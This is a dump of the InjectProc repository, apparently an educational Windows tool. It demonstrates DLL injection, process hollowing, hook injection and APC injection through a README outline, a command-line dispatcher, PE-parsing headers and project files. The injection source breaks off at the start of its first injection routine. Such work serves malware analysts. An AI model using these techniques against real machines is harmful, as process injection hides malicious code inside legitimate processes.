├── InjectProc
    ├── test_files
    │   ├── mbox.dll
    │   └── mbox.exe
    ├── InjectProc.vcxproj.filters
    ├── main.cpp
    ├── injection.h
    ├── InjectProc.vcxproj
    └── injection.cpp
├── InjectProc - Process Injection Techniques.sln
├── README.md
├── .gitattributes
├── .gitignore
└── LICENSE


/InjectProc/test_files/mbox.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/secrary/InjectProc/HEAD/InjectProc/test_files/mbox.dll


--------------------------------------------------------------------------------
/InjectProc/test_files/mbox.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/secrary/InjectProc/HEAD/InjectProc/test_files/mbox.exe


--------------------------------------------------------------------------------
/InjectProc/InjectProc.vcxproj.filters:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="utf-8"?>
 2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 3 |   <ItemGroup>
 4 |     <Filter Include="Source Files">
 5 |       <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
 6 |       <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
 7 |     </Filter>
 8 |     <Filter Include="Header Files">
 9 |       <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10 |       <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
11 |     </Filter>
12 |     <Filter Include="Resource Files">
13 |       <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14 |       <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15 |     </Filter>
16 |   </ItemGroup>
17 |   <ItemGroup>
18 |     <ClCompile Include="main.cpp">
19 |       <Filter>Source Files</Filter>
20 |     </ClCompile>
21 |     <ClCompile Include="injection.cpp">
22 |       <Filter>Source Files</Filter>
23 |     </ClCompile>
24 |   </ItemGroup>
25 |   <ItemGroup>
26 |     <ClInclude Include="injection.h">
27 |       <Filter>Header Files</Filter>
28 |     </ClInclude>
29 |   </ItemGroup>
30 | </Project>


--------------------------------------------------------------------------------
/InjectProc - Process Injection Techniques.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio 15
 4 | VisualStudioVersion = 15.0.26430.6
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectProc", "InjectProc\InjectProc.vcxproj", "{D9F15158-3F31-4587-9FF0-660D71EB5483}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|x64 = Debug|x64
11 | 		Debug|x86 = Debug|x86
12 | 		Release|x64 = Release|x64
13 | 		Release|x86 = Release|x86
14 | 	EndGlobalSection
15 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x64.ActiveCfg = Debug|x64
17 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x64.Build.0 = Debug|x64
18 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x86.ActiveCfg = Debug|Win32
19 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Debug|x86.Build.0 = Debug|Win32
20 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x64.ActiveCfg = Release|x64
21 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x64.Build.0 = Release|x64
22 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x86.ActiveCfg = Release|Win32
23 | 		{D9F15158-3F31-4587-9FF0-660D71EB5483}.Release|x86.Build.0 = Release|Win32
24 | 	EndGlobalSection
25 | 	GlobalSection(SolutionProperties) = preSolution
26 | 		HideSolutionNode = FALSE
27 | 	EndGlobalSection
28 | EndGlobal
29 | 


--------------------------------------------------------------------------------
/InjectProc/main.cpp:
--------------------------------------------------------------------------------
 1 | #include <Windows.h>
 2 | #include "Injection.h"
 3 | #include <iostream>
 4 | #include <filesystem>
 5 | #include <atlconv.h>
 6 | 
 7 | int main(int argc, char* argv[])
 8 | {
 9 | 	USES_CONVERSION;
10 | 	if (argc < 2)
11 | 	{
12 | 		printf_s( "Usage: ./InjectProc.exe <type of injection> <path/to/exe or process_name> <path/to/dll>\nExample:\n\
13 | 		./InjectProc.exe dll_inj path/to/dll.dll notepad.exe\n\
14 | 		./InjectProc.exe proc_rpl path/to/target/exe path/to/exe\n\
15 | 		./InjectProc.exe hook path/to/target/exe path/to//dll\n\
16 | 		./InjectProc.exe APC target/proc/name path/to/dll\n\
17 | 		");
18 | 		return EXIT_FAILURE;
19 | 	}
20 | 
21 | 	string mode = argv[1];
22 | 	if (mode == "dll_inj")
23 | 		Dll_Injection(A2T(argv[2]), A2T(argv[3]));
24 | 	else if (mode == "proc_rpl")
25 | 		ProcessReplacement(A2T(argv[2]), A2T(argv[3]));
26 | 	else if (mode == "hook")
27 | 		// Windows hooks can be considered one of the most powerful features of Windows. 
28 | 		// With them, you can trap events that will occur, either in your own process or in other processes. 
29 | 		// By "hooking", you tell Windows about a function, filter function also called hook procedure, 
30 | 		// that will be called everytime an event you're interested in occurs.
31 | 		HookInjection(A2T(argv[2]), A2T(argv[3])); // Inject DLL into remote process
32 | 	else if (mode == "APC")
33 | 		APCinjection(A2T(argv[2]), A2T(argv[3]));
34 | 	else {
35 | 		printf_s("Incorrect mode\n");
36 | 		return EXIT_FAILURE;
37 | 	}
38 | 
39 | 	return EXIT_SUCCESS;
40 | }


--------------------------------------------------------------------------------
/InjectProc/injection.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | #include <Winternl.h>
 3 | #include <string>
 4 | #include <tuple>
 5 | #include <vector>
 6 | #include <memory>
 7 | using namespace std;
 8 | 
 9 | 
10 | BOOL FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids);
11 | VOID DbgPrint(char *msg);
12 | BOOL Dll_Injection(TCHAR *dll_name, TCHAR processname[]);
13 | BOOL ProcessReplacement(TCHAR* target, wstring inj_exe);
14 | BOOL HookInjection(TCHAR target[], TCHAR *dll_name);
15 | BOOL APCinjection(TCHAR target[], TCHAR *dll_name);
16 | 
17 | // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684280(v=vs.85).aspx
18 | typedef NTSTATUS(WINAPI* _NtQueryInformationProcess)(
19 | 	_In_      HANDLE           ProcessHandle,
20 | 	_In_      PROCESSINFOCLASS ProcessInformationClass,
21 | 	_Out_     PVOID            ProcessInformation,
22 | 	_In_      ULONG            ProcessInformationLength,
23 | 	_Out_opt_ PULONG           ReturnLength
24 | 	);
25 | 
26 | // https://msdn.microsoft.com/en-us/library/windows/hardware/ff567119(v=vs.85).aspx
27 | typedef NTSTATUS(WINAPI* _ZwUnmapViewOfSection)(
28 | 	_In_     HANDLE ProcessHandle,
29 | 	_In_opt_ PVOID  BaseAddress
30 | 	);
31 | 
32 | typedef struct BASE_RELOCATION_BLOCK {
33 | 	DWORD PageAddress;
34 | 	DWORD BlockSize;
35 | } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
36 | 
37 | typedef struct BASE_RELOCATION_ENTRY {
38 | 	USHORT Offset : 12;
39 | 	USHORT Type : 4;
40 | } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
41 | 
42 | struct PE_FILE
43 | {
44 | 	size_t size_ids{};
45 | 	size_t size_dos_stub{};
46 | 	size_t size_inh32{};
47 | 	size_t size_ish{};
48 | 	size_t size_sections{};
49 | 	IMAGE_DOS_HEADER ids;
50 | 	std::vector<char> MS_DOS_STUB;
51 | 	IMAGE_NT_HEADERS64 inh32;
52 | 	std::vector<IMAGE_SECTION_HEADER> ish;
53 | 	std::vector<shared_ptr<char>> Sections;
54 | 	void set_sizes(size_t, size_t, size_t, size_t, size_t);
55 | };
56 | 
57 | struct LOADED_IMAGE64
58 | {
59 | 	PIMAGE_NT_HEADERS64 FileHeader;
60 | 	ULONG NumberOfSections;
61 | 	PIMAGE_SECTION_HEADER Sections;
62 | };


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # InjectProc
 2 | 
 3 | Process injection is a very popular method to hide malicious behavior of code and are heavily used by malware authors.
 4 | 
 5 | There are several techniques, which are commonly used:
 6 | DLL injection, process replacement (a.k.a process hollowing), hook injection and APC injection.
 7 | 
 8 | Most of them use same Windows API functions: 
 9 | OpenProcess, VirtualAllocEx, WriteProcessMemory, for detailed information about those functions, use MSDN.
10 | 
11 | ## DLL injection:
12 | * Open target process.
13 | * Allocate space.
14 | * Write code into the remote process.
15 | * Execute the remote code.
16 | 
17 | ## Process replacement:
18 | * Create target process and suspend it.
19 | * Unmap from memory.
20 | * Allocate space.
21 | * Write headers and sections into the remote process.
22 | * Resume remote thread.
23 | 
24 | ## Hook injection:
25 | * Find/Create process.
26 | * Set hook
27 | ## Note: 
28 | `InjectProc` uses [SetWindowsHookEx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx) function, you can try different ways to installing hooks, for example, [EasyHook](http://easyhook.github.io/tutorials/nativeremotehook.html)
29 | 
30 | ## APC injection:
31 | * Open process.
32 | * Allocate space.
33 | * Write code into remote threads.
34 | * "Execute" threads using QueueUserAPC.
35 | 
36 | ## Download
37 | [Windows x64 binary](https://github.com/secrary/InjectProc/releases) - x64 bit DEMO
38 | ## Dependencies: 
39 | [vc_redist.x64](https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads) - Microsoft Visual C++ Redistributable
40 | ## DEMO
41 | [InjectProc DEMO - Process Injection Techniques](https://www.youtube.com/watch?v=hLPDq9nSHMw)
42 | 
43 | ## Contributors
44 | - [nullbites](https://github.com/nullbites)
45 | 
46 | # Warning
47 | Works on Windows 10 build 1703, 64bit.
48 | 
49 | I've not enough time to test other systems and make it portable if you have enough time please contribute.
50 | 
51 | I create this project for me to better understand how process injection works and 
52 | I think it will be helpful for many beginner malware analysts too. 
53 | 


--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
 1 | ###############################################################################
 2 | # Set default behavior to automatically normalize line endings.
 3 | ###############################################################################
 4 | * text=auto
 5 | 
 6 | ###############################################################################
 7 | # Set default behavior for command prompt diff.
 8 | #
 9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs     diff=csharp
14 | 
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following 
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln       merge=binary
26 | #*.csproj    merge=binary
27 | #*.vbproj    merge=binary
28 | #*.vcxproj   merge=binary
29 | #*.vcproj    merge=binary
30 | #*.dbproj    merge=binary
31 | #*.fsproj    merge=binary
32 | #*.lsproj    merge=binary
33 | #*.wixproj   merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj   merge=binary
36 | #*.wwaproj   merge=binary
37 | 
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg   binary
44 | #*.png   binary
45 | #*.gif   binary
46 | 
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | # 
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the 
52 | # entries below.
53 | ###############################################################################
54 | #*.doc   diff=astextplain
55 | #*.DOC   diff=astextplain
56 | #*.docx  diff=astextplain
57 | #*.DOCX  diff=astextplain
58 | #*.dot   diff=astextplain
59 | #*.DOT   diff=astextplain
60 | #*.pdf   diff=astextplain
61 | #*.PDF   diff=astextplain
62 | #*.rtf   diff=astextplain
63 | #*.RTF   diff=astextplain
64 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
  1 | ## Ignore Visual Studio temporary files, build results, and
  2 | ## files generated by popular Visual Studio add-ons.
  3 | 
  4 | # User-specific files
  5 | *.suo
  6 | *.user
  7 | *.userosscache
  8 | *.sln.docstates
  9 | 
 10 | # User-specific files (MonoDevelop/Xamarin Studio)
 11 | *.userprefs
 12 | 
 13 | # Build results
 14 | [Dd]ebug/
 15 | [Dd]ebugPublic/
 16 | [Rr]elease/
 17 | [Rr]eleases/
 18 | x64/
 19 | x86/
 20 | bld/
 21 | [Bb]in/
 22 | [Oo]bj/
 23 | [Ll]og/
 24 | 
 25 | # Visual Studio 2015 cache/options directory
 26 | .vs/
 27 | # Uncomment if you have tasks that create the project's static files in wwwroot
 28 | #wwwroot/
 29 | 
 30 | # MSTest test Results
 31 | [Tt]est[Rr]esult*/
 32 | [Bb]uild[Ll]og.*
 33 | 
 34 | # NUNIT
 35 | *.VisualState.xml
 36 | TestResult.xml
 37 | 
 38 | # Build Results of an ATL Project
 39 | [Dd]ebugPS/
 40 | [Rr]eleasePS/
 41 | dlldata.c
 42 | 
 43 | # DNX
 44 | project.lock.json
 45 | project.fragment.lock.json
 46 | artifacts/
 47 | 
 48 | *_i.c
 49 | *_p.c
 50 | *_i.h
 51 | *.ilk
 52 | *.meta
 53 | *.obj
 54 | *.pch
 55 | *.pdb
 56 | *.pgc
 57 | *.pgd
 58 | *.rsp
 59 | *.sbr
 60 | *.tlb
 61 | *.tli
 62 | *.tlh
 63 | *.tmp
 64 | *.tmp_proj
 65 | *.log
 66 | *.vspscc
 67 | *.vssscc
 68 | .builds
 69 | *.pidb
 70 | *.svclog
 71 | *.scc
 72 | 
 73 | # Chutzpah Test files
 74 | _Chutzpah*
 75 | 
 76 | # Visual C++ cache files
 77 | ipch/
 78 | *.aps
 79 | *.ncb
 80 | *.opendb
 81 | *.opensdf
 82 | *.sdf
 83 | *.cachefile
 84 | *.VC.db
 85 | *.VC.VC.opendb
 86 | 
 87 | # Visual Studio profiler
 88 | *.psess
 89 | *.vsp
 90 | *.vspx
 91 | *.sap
 92 | 
 93 | # TFS 2012 Local Workspace
 94 | $tf/
 95 | 
 96 | # Guidance Automation Toolkit
 97 | *.gpState
 98 | 
 99 | # ReSharper is a .NET coding add-in
100 | _ReSharper*/
101 | *.[Rr]e[Ss]harper
102 | *.DotSettings.user
103 | 
104 | # JustCode is a .NET coding add-in
105 | .JustCode
106 | 
107 | # TeamCity is a build add-in
108 | _TeamCity*
109 | 
110 | # DotCover is a Code Coverage Tool
111 | *.dotCover
112 | 
113 | # NCrunch
114 | _NCrunch_*
115 | .*crunch*.local.xml
116 | nCrunchTemp_*
117 | 
118 | # MightyMoose
119 | *.mm.*
120 | AutoTest.Net/
121 | 
122 | # Web workbench (sass)
123 | .sass-cache/
124 | 
125 | # Installshield output folder
126 | [Ee]xpress/
127 | 
128 | # DocProject is a documentation generator add-in
129 | DocProject/buildhelp/
130 | DocProject/Help/*.HxT
131 | DocProject/Help/*.HxC
132 | DocProject/Help/*.hhc
133 | DocProject/Help/*.hhk
134 | DocProject/Help/*.hhp
135 | DocProject/Help/Html2
136 | DocProject/Help/html
137 | 
138 | # Click-Once directory
139 | publish/
140 | 
141 | # Publish Web Output
142 | *.[Pp]ublish.xml
143 | *.azurePubxml
144 | # TODO: Comment the next line if you want to checkin your web deploy settings
145 | # but database connection strings (with potential passwords) will be unencrypted
146 | #*.pubxml
147 | *.publishproj
148 | 
149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
150 | # checkin your Azure Web App publish settings, but sensitive information contained
151 | # in these scripts will be unencrypted
152 | PublishScripts/
153 | 
154 | # NuGet Packages
155 | *.nupkg
156 | # The packages folder can be ignored because of Package Restore
157 | **/packages/*
158 | # except build/, which is used as an MSBuild target.
159 | !**/packages/build/
160 | # Uncomment if necessary however generally it will be regenerated when needed
161 | #!**/packages/repositories.config
162 | # NuGet v3's project.json files produces more ignoreable files
163 | *.nuget.props
164 | *.nuget.targets
165 | 
166 | # Microsoft Azure Build Output
167 | csx/
168 | *.build.csdef
169 | 
170 | # Microsoft Azure Emulator
171 | ecf/
172 | rcf/
173 | 
174 | # Windows Store app package directories and files
175 | AppPackages/
176 | BundleArtifacts/
177 | Package.StoreAssociation.xml
178 | _pkginfo.txt
179 | 
180 | # Visual Studio cache files
181 | # files ending in .cache can be ignored
182 | *.[Cc]ache
183 | # but keep track of directories ending in .cache
184 | !*.[Cc]ache/
185 | 
186 | # Others
187 | ClientBin/
188 | ~$*
189 | *~
190 | *.dbmdl
191 | *.dbproj.schemaview
192 | *.jfm
193 | *.pfx
194 | *.publishsettings
195 | node_modules/
196 | orleans.codegen.cs
197 | 
198 | # Since there are multiple workflows, uncomment next line to ignore bower_components
199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
200 | #bower_components/
201 | 
202 | # RIA/Silverlight projects
203 | Generated_Code/
204 | 
205 | # Backup & report files from converting an old project file
206 | # to a newer Visual Studio version. Backup files are not needed,
207 | # because we have git ;-)
208 | _UpgradeReport_Files/
209 | Backup*/
210 | UpgradeLog*.XML
211 | UpgradeLog*.htm
212 | 
213 | # SQL Server files
214 | *.mdf
215 | *.ldf
216 | 
217 | # Business Intelligence projects
218 | *.rdl.data
219 | *.bim.layout
220 | *.bim_*.settings
221 | 
222 | # Microsoft Fakes
223 | FakesAssemblies/
224 | 
225 | # GhostDoc plugin setting file
226 | *.GhostDoc.xml
227 | 
228 | # Node.js Tools for Visual Studio
229 | .ntvs_analysis.dat
230 | 
231 | # Visual Studio 6 build log
232 | *.plg
233 | 
234 | # Visual Studio 6 workspace options file
235 | *.opt
236 | 
237 | # Visual Studio LightSwitch build output
238 | **/*.HTMLClient/GeneratedArtifacts
239 | **/*.DesktopClient/GeneratedArtifacts
240 | **/*.DesktopClient/ModelManifest.xml
241 | **/*.Server/GeneratedArtifacts
242 | **/*.Server/ModelManifest.xml
243 | _Pvt_Extensions
244 | 
245 | # Paket dependency manager
246 | .paket/paket.exe
247 | paket-files/
248 | 
249 | # FAKE - F# Make
250 | .fake/
251 | 
252 | # JetBrains Rider
253 | .idea/
254 | *.sln.iml
255 | 
256 | # CodeRush
257 | .cr/
258 | 
259 | # Python Tools for Visual Studio (PTVS)
260 | __pycache__/
261 | *.pyc


--------------------------------------------------------------------------------
/InjectProc/InjectProc.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>15.0</VCProjectVersion>
 23 |     <ProjectGuid>{D9F15158-3F31-4587-9FF0-660D71EB5483}</ProjectGuid>
 24 |     <Keyword>Win32Proj</Keyword>
 25 |     <RootNamespace>InjectProc</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0.15063.0</WindowsTargetPlatformVersion>
 27 |   </PropertyGroup>
 28 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 29 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 30 |     <ConfigurationType>Application</ConfigurationType>
 31 |     <UseDebugLibraries>true</UseDebugLibraries>
 32 |     <PlatformToolset>v141</PlatformToolset>
 33 |     <CharacterSet>Unicode</CharacterSet>
 34 |   </PropertyGroup>
 35 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 36 |     <ConfigurationType>Application</ConfigurationType>
 37 |     <UseDebugLibraries>false</UseDebugLibraries>
 38 |     <PlatformToolset>v141</PlatformToolset>
 39 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 40 |     <CharacterSet>Unicode</CharacterSet>
 41 |   </PropertyGroup>
 42 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 43 |     <ConfigurationType>Application</ConfigurationType>
 44 |     <UseDebugLibraries>true</UseDebugLibraries>
 45 |     <PlatformToolset>v141</PlatformToolset>
 46 |     <CharacterSet>Unicode</CharacterSet>
 47 |   </PropertyGroup>
 48 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 49 |     <ConfigurationType>Application</ConfigurationType>
 50 |     <UseDebugLibraries>false</UseDebugLibraries>
 51 |     <PlatformToolset>v141</PlatformToolset>
 52 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 53 |     <CharacterSet>Unicode</CharacterSet>
 54 |   </PropertyGroup>
 55 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 56 |   <ImportGroup Label="ExtensionSettings">
 57 |   </ImportGroup>
 58 |   <ImportGroup Label="Shared">
 59 |   </ImportGroup>
 60 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 61 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 62 |   </ImportGroup>
 63 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 64 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 65 |   </ImportGroup>
 66 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 67 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 68 |   </ImportGroup>
 69 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 70 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 71 |   </ImportGroup>
 72 |   <PropertyGroup Label="UserMacros" />
 73 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 74 |     <LinkIncremental>true</LinkIncremental>
 75 |   </PropertyGroup>
 76 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 77 |     <LinkIncremental>true</LinkIncremental>
 78 |   </PropertyGroup>
 79 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 80 |     <LinkIncremental>false</LinkIncremental>
 81 |   </PropertyGroup>
 82 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 83 |     <LinkIncremental>false</LinkIncremental>
 84 |   </PropertyGroup>
 85 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 86 |     <ClCompile>
 87 |       <PrecompiledHeader>
 88 |       </PrecompiledHeader>
 89 |       <WarningLevel>Level3</WarningLevel>
 90 |       <Optimization>Disabled</Optimization>
 91 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 92 |     </ClCompile>
 93 |     <Link>
 94 |       <SubSystem>Console</SubSystem>
 95 |     </Link>
 96 |   </ItemDefinitionGroup>
 97 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 98 |     <ClCompile>
 99 |       <PrecompiledHeader>
100 |       </PrecompiledHeader>
101 |       <WarningLevel>Level3</WarningLevel>
102 |       <Optimization>Disabled</Optimization>
103 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104 |     </ClCompile>
105 |     <Link>
106 |       <SubSystem>Console</SubSystem>
107 |     </Link>
108 |   </ItemDefinitionGroup>
109 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
110 |     <ClCompile>
111 |       <WarningLevel>Level3</WarningLevel>
112 |       <PrecompiledHeader>
113 |       </PrecompiledHeader>
114 |       <Optimization>MaxSpeed</Optimization>
115 |       <FunctionLevelLinking>true</FunctionLevelLinking>
116 |       <IntrinsicFunctions>true</IntrinsicFunctions>
117 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118 |     </ClCompile>
119 |     <Link>
120 |       <SubSystem>Console</SubSystem>
121 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
122 |       <OptimizeReferences>true</OptimizeReferences>
123 |     </Link>
124 |   </ItemDefinitionGroup>
125 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126 |     <ClCompile>
127 |       <WarningLevel>Level3</WarningLevel>
128 |       <PrecompiledHeader>
129 |       </PrecompiledHeader>
130 |       <Optimization>MaxSpeed</Optimization>
131 |       <FunctionLevelLinking>true</FunctionLevelLinking>
132 |       <IntrinsicFunctions>true</IntrinsicFunctions>
133 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
134 |     </ClCompile>
135 |     <Link>
136 |       <SubSystem>Console</SubSystem>
137 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
138 |       <OptimizeReferences>true</OptimizeReferences>
139 |       <GenerateDebugInformation>false</GenerateDebugInformation>
140 |     </Link>
141 |   </ItemDefinitionGroup>
142 |   <ItemGroup>
143 |     <ClCompile Include="injection.cpp" />
144 |     <ClCompile Include="main.cpp" />
145 |   </ItemGroup>
146 |   <ItemGroup>
147 |     <ClInclude Include="injection.h" />
148 |   </ItemGroup>
149 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
150 |   <ImportGroup Label="ExtensionTargets">
151 |   </ImportGroup>
152 | </Project>


--------------------------------------------------------------------------------
/InjectProc/injection.cpp:
--------------------------------------------------------------------------------
  1 | #include <Windows.h>
  2 | #include "Injection.h"
  3 | #include <ostream>
  4 | #include <iostream>
  5 | #include <TlHelp32.h>
  6 | #include <tchar.h>
  7 | #include <Winternl.h>
  8 | #include <fstream>
  9 | #include <future>
 10 | #include <filesystem>
 11 | 
 12 | #define RTN_OK 0
 13 | #define RTN_USAGE 1
 14 | #define RTN_ERROR 13
 15 | 
 16 | #define DEBUG
 17 | using namespace std;
 18 | 
 19 | 
 20 | VOID DbgPrint(char *msg)
 21 | {
 22 | 
 23 | #ifdef DEBUG
 24 | 	DWORD eMsgLen, errNum = GetLastError();
 25 | 	LPTSTR lpvSysMsg;
 26 | 
 27 | if (msg)
 28 | 	printf("%s: ", msg);
 29 | 	eMsgLen = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
 30 | 		FORMAT_MESSAGE_FROM_SYSTEM,
 31 | 		NULL, errNum, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
 32 | 		(LPTSTR)&lpvSysMsg, 0, NULL);
 33 | 	if (eMsgLen > 0)
 34 | 		_ftprintf(stderr, _T("%d %s\n"), errNum, lpvSysMsg);
 35 | 	else
 36 | 		_ftprintf(stderr, _T("Error %d\n"), errNum);
 37 | 	if (lpvSysMsg != NULL)
 38 | 		LocalFree(lpvSysMsg);
 39 | #endif
 40 | }
 41 | 
 42 | BOOL FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
 43 | 	auto hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
 44 | 	if (hSnapshot == INVALID_HANDLE_VALUE)
 45 | 		return FALSE;
 46 | 
 47 | 	pid = 0;
 48 | 
 49 | 	PROCESSENTRY32 pe = { sizeof(pe) };
 50 | 	if (::Process32First(hSnapshot, &pe)) {
 51 | 		do {
 52 | 			if (_wcsicmp(pe.szExeFile, exeName) == 0) {
 53 | 				pid = pe.th32ProcessID;
 54 | 				THREADENTRY32 te = { sizeof(te) };
 55 | 				if (Thread32First(hSnapshot, &te)) {
 56 | 					do {
 57 | 						if (te.th32OwnerProcessID == pid) {
 58 | 							tids.push_back(te.th32ThreadID);
 59 | 						}
 60 | 					} while (Thread32Next(hSnapshot, &te));
 61 | 				}
 62 | 				break;
 63 | 			}
 64 | 		} while (Process32Next(hSnapshot, &pe));
 65 | 	}
 66 | 
 67 | 	CloseHandle(hSnapshot);
 68 | 	return pid > 0 && !tids.empty();
 69 | }
 70 | 
 71 | BOOL Dll_Injection(TCHAR *dll_name, TCHAR processname[])
 72 | {
 73 | 	TCHAR lpdllpath[MAX_PATH];
